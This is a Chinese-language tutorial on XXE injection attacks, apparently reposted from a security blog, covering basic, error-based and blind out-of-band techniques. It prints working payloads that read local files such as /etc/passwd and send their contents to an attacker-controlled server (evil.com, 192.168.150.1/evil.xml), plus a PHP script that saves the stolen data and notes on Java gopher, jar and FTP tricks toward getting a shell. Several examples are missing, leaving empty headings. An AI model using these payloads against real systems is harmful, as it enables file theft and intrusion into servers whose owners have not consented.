XML注入详解 xxe注入攻击
Posted 锋刃科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML注入详解 xxe注入攻击相关的知识,希望对你有一定的参考价值。
### xxe注入攻击
1.XXE攻击概述
XML外部实体(XXE)攻击是许多基于注入的攻击方式之一,当攻击者将声明XML消息中的外部实体发送到应用程序并使用XML解析器解析时,就会发生这种攻击。这个漏洞有许多不同的类型和行为,因为它可能会发生在不同类型的技术中—因为不同类型的XML解析器的原因。在这种情况下,令人高兴的是,每个解析器具有不同的功能和“特征”。
在我们开始之前,让我们先认识下可能面临的最常见的XXE漏洞类型—了解这些漏洞类型将有助于我们调试攻击并创建最终正确的POC:
1.基础的XXE注入— 外部实体注入本地DTD
2.基于盲注的XXE注入—XML解析器在响应中不显示任何错误
3.基于错误的XXE注入—成功解析之后,XML解析器始终显示SAME响应。(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中。
2.基础的XXE注入
按照上一个概述,我们可以通过使用SYSTEM标识符来引用外部实体的数据。所以现在我们可以引入XXE注入的第一种技术,它将外部实体注入到包含引用本地文件路径(如/ etc / passwd)的SYSTEM标识符的XML文档中:
现在让我们做一个更复杂和更严重的攻击:
如果作为通用功能的一部分,应用程序服务器没有作出回应呢?(记得刚刚提到的基于错误的XXE吗?)
如果我们想从其中具有XML特殊字符的外部源读取数据呢?如果在解析过程中解析失败呢?
这时我们可以加载引用我们的远程服务器并尝试从其URL获取内容的辅助外部DTD—这可以是一组字符,或下面的示例转储文件,最重要的是它甚至没有经过XML模式验证过程,因为它在解析器甚至获取远程内容之前发送!
例如,远程DTD文件—包含带有SYSTEM标识符和“file”处理程序的参数实体。请注意,参数实体“file”也连接到实体“send”内的URL:
解析DTD后,我们得到以下实体:
最终,服务器会尝试以文件内容发送参数“c”所指定的内容,到达我们定义的URL—我们记录该内容,并通过这样做来转储文件的内容:
步骤A:
步骤B: — 远程DTD正在解析。我们正在窃取文件的内容...
步骤C:
我们成功得到文件内容!
用这种技术记住的几件事情:
文件内容中的字符“#”将导致URL截断。
如果我们使用“or”定义参数实体,内容可能会中断。
这取决于我们使用的是哪种(所以请确保在出现错误的情况下同时使用这两种测试场景)。
3.基于错误的XXE注入
有时候,当解析过程成功时,当我们从服务器得到通用的响应时,我们可能希望服务器返回详细错误—因此,我们可以使用与远程DTD相同的技术,但会发生故意的错误如:
解析器将尝试解析DTD并访问发送实体中给出的路径,但是由于不能到达“my-evil-domain。$$$$ ”,我们将导致以下错误:
然后我们就可以根据信息调试我们自己的payload!# 安全脉搏 https://www.secpulse.com/archives/58915.html
请注意,由服务器响应的任何错误显示哪一行导致解析错误,同时出现语法错误,有时我们可能会使用此信息来调试我们自己的payload,使用“\ n”。例如:
<!DOCTYPE Author[ \ n
<!ENTITY %% intentate_error_here“test”>]> \ n
包含payload的两个额外的“\ n”会在第一行“\ n”之后的第2行中出现错误,而其余的XML内容将会显示在第3行。
总之,XXE是一个非常强大的攻击,它允许我们操纵错误的XML解析器并利用它们。请注意,有更多的技术和攻击利用方式可以通过XXE注入完成。如前所述,每个解析器都有不同的能力,因此我们可以提出不同的漏洞:
此表由研究员Timothy Morgan提供—这些协议可用于上传文件(jar:// ..),在旧版本Java中允许任意数据通过TCP连接(gopher:// ..),阅读php源代码查看PHP的处理方式。
自己尝试下载我们的演示实验室,可以在这里下载!该演示包含一个带有XML有效载荷的.NET xml解析器和需要的远程DTD文件。
4.基于盲注的XXE注入
(1)Blind XXE用途
对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:
提交请求:
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
服务器在这个节点中返回etc/passwd的文件内容:
<username>root:1:3.......</username>
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。
(2)参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。
IE/Firefox:
Chrome:
这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。
(3)bllind xxe
如果目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器,然后在日志里就可以找到我们要获取的内容了。
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % hs SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
]>
<root>&send;</root>
xxx.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">
这里解释下,%remote; 会把外部文件引入到这个 XML 中,%all; 替换为后面的嵌套实体,这时再在 root 节点中引入 send 实体,便可实现数据转发。如果在 xxx.xml 中 send 实体是参数实体的话,也可以采用下面的形式。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
%send;
]>
xxx.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/x.php?hs=%hs;'>">
l 原理说明
对于传统的XXE来说,要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,例如上述方式一。
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据(Out-Of-Band)。
但直接在内部实体定义中引用另一个实体的这种方法行不通
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
最简单的无非是通过参数实体引用,发送一个http请求到我们服务器,然后观察我们服务的日志
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evil.com/blind_xxe_test">
%remote;]>
<root/>
如果在服务日志上能接收到则说明存在漏洞
于是考虑内部实体嵌套的形式:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。
解决方案是:
将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
和引入方式三有些雷同,如下:
src.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>•
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">•
实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。
另外一种方法是使用CDATA,但是并非像wooyun文章说的那样可以读取任意值
l 读任意文件
php://filter/convert.base64-encode/resource=想要读取的文件路径
l java中的应用
1.file:///可以列目录:
2.OOB:
gopher(1.7u7, 1.6u32以前|7u9 6u37以前 ?),配合nc;其他情况用ftp
3.上传文件:
需要进行长链接,通过jar协议(jar:http://127.0.0.1:2014/xxe.jar!/)
https://github.com/pwntester/BlockingServer
4.ftp oob:
在jdk 1.6.35 以上,可以读取tomcat-users,如果管理页面不删,版本如果高于前述情况,也应该能读取
注意:1.6.31以下是不行的,因此结合文件上传和gopher协议来看,基于tomcat成功的getshell,主要因素在于jdk版本,成功的范围很小
5.读XML标签及属性值
前提是内部需要设置 factory.setValidating(true)
例1:读取属性值
xml文档中的标签属性需通过ATTLIST为其设置属性
语法格式:
<!ATTLIST 元素名 属性名 属性值类型 默认值>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE tomcat-users [
<!ELEMENT role EMPTY>
<!ELEMENT user EMPTY>
<!ATTLIST user
username (a|b) #REQUIRED
password (a|b) #REQUIRED
>
]>
<tomcat-users>
<role rolename="tomcat"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
</tomcat-users>•
java Xerces方法的解析结果为(其他解析方式不行):
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this.
Error: URI=null Line=10: Element type "tomcat-users" must be declared.
Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role".
Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "roles" must be declared for element type "user".
实际运用时,是没办法解析tomcat-users.xml的文档的,因为会把 XML 声明代入而造成解析出错
例2:定义标签顺序报错
具体示例如下:
首先建立DTD文件,文件名:person.dtd
文件内容:
<?xml version="1.0" encoding="utf-8" ?>
<!ELEMENT person (name, sex, birthday)*>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT birthday (#PCDATA)>•
然后建立两个利用这个dtd文件的xml文件
文件名:person.xml
文件内容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
<name>tom</name>
<sex>male</sex>
<birthday>1949-10-01</birthday>
</person>
文件名:worker.xml
文件内容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
<name>tom</name>
<sex>male</sex>
<birthday>1949-10-01</birthday>
<job>it</job>
</person>•
我们可以看到worker.xml文件不符合dtd的规定,多了一个job的标签。
然后建立java文件
文件名:ValidateXMLDTD.java
package xmlvalidate;
import java.io.FileNotFoundException;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
public class ValidateXMLDTD {
public static void main(String[] args) {
// System.out.println("测试符合DTD规范的XML文件");
// testPerson();
// System.out.println("测试不符合DTD规范的XML文件");
// testWorkder();
}
public static void testPerson() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true); //这里很重要
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("person.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void testWorkder() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true);
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("worker.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}•
修改一下main方法中的注释语句,运行一下,执行结果:
运行testPerson的时候,只输出:测试符合DTD规范的XML文件
,而运行testWorker的时候,输入如下内容:测试不符合DTD规范的XML文件
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not
set, which is probably not what is desired. Parser will use a default
ErrorHandler to print the first 10 errors. Please call
the 'setErrorHandler' method to fix this.
Error: URI=null Line=7: Element type "job" must be declared.
Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*"
(4)测试
【1.php】
<?php
file_put_contents("1.txt", $_GET['file']) ;
?>
【test.php】
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/passwd.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
【evil.xml】
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求,然后存在漏洞的服务器会读出file的内容(c:/1.txt),通过带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
攻击之后1.txt中的数据:
攻击者服务器日志:
(5)总结
遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:
(1)检测XML是否会被解析:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY shit “this is shit”>
]>
<root>&shit;</root>
如果$shit;变成了”this is shit”,那就继续第二步。
(2)检测服务器是否支持外部实体:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
%shit;
]>
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
(4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。
5.XXE的几种外部引入方式
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体方式有多种,比如:
(1)恶意引入外部实体方式一
XML内容:
(2)恶意引入外部实体方式二
<!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.backlion.org/attack.dtd"> %d; ]>
其中attack.dtd的内容为:
<!ENTITY b SYSTEM "file:///etc/passwd">
XML内容:
DTD文件(evil.dtd)内容:
(3)恶意引入外部实体方式三
XML内容:
DTD文件(evil.dtd)内容:
另外,不同程序支持的协议不一样,
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
关联阅读:
以上是关于XML注入详解 xxe注入攻击的主要内容,如果未能解决你的问题,请参考以下文章